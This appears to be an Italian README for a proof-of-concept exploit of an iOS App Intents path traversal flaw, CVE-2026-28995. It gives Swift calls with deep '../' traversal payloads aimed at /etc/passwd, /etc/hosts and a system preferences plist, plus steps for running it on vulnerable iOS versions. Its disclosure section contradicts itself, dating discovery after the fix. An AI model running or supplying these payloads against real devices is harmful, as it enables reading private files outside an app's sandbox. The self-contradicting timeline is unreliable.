CVE-2026-28995

Proof of Concept per CVE-2026-28995 — Vulnerabilità di Path Traversal in App Intents su iOS 26.4.2 e versioni precedenti.

Descrizione

Questa vulnerabilità permette a un'app dannosa di leggere qualsiasi file al di fuori della sua sandbox tramite App Intents. La causa principale è una validazione insufficiente dei percorsi nel framework App Intents di Apple.

Versioni affette: iOS 26.4.2 e inferiori
Corretto in: iOS 26.5 (11 maggio 2026)

Utilizzo

1. Funzione readCve(path: String) -> String

let intent = CVE_2026_28995()
let content = intent.readCve(path: "../../../../../../../../../../../../../etc/passwd")
print(content)

2. Esempi di Percorsi

Path Legge ../../../../../../../../../../../../../etc/passwd Password utente ../../../../../../../../../../../../../etc/hosts File hosts ../../../../../../../../../../../../../var/mobile/Library/Preferences/.GlobalPreferences.plist Preferenze di sistema

3. Gestione delle Directory

Se il percorso punta a una directory, la funzione restituisce:

[DIRECTORY]
Contents:
file1.txt
file2.jpg
folder/

Come Eseguire

• Crea un progetto iOS in Xcode.
• Aggiungi CVE-2026-28995.swift al progetto.
• Chiama readCve(path:) con il percorso target.
• Esegui su iOS 26.4.2 o precedente.

Divulgazione Responsabile

• Scoperta: 1 luglio 2026
• Corretto in: iOS 26.5 (11 maggio 2026)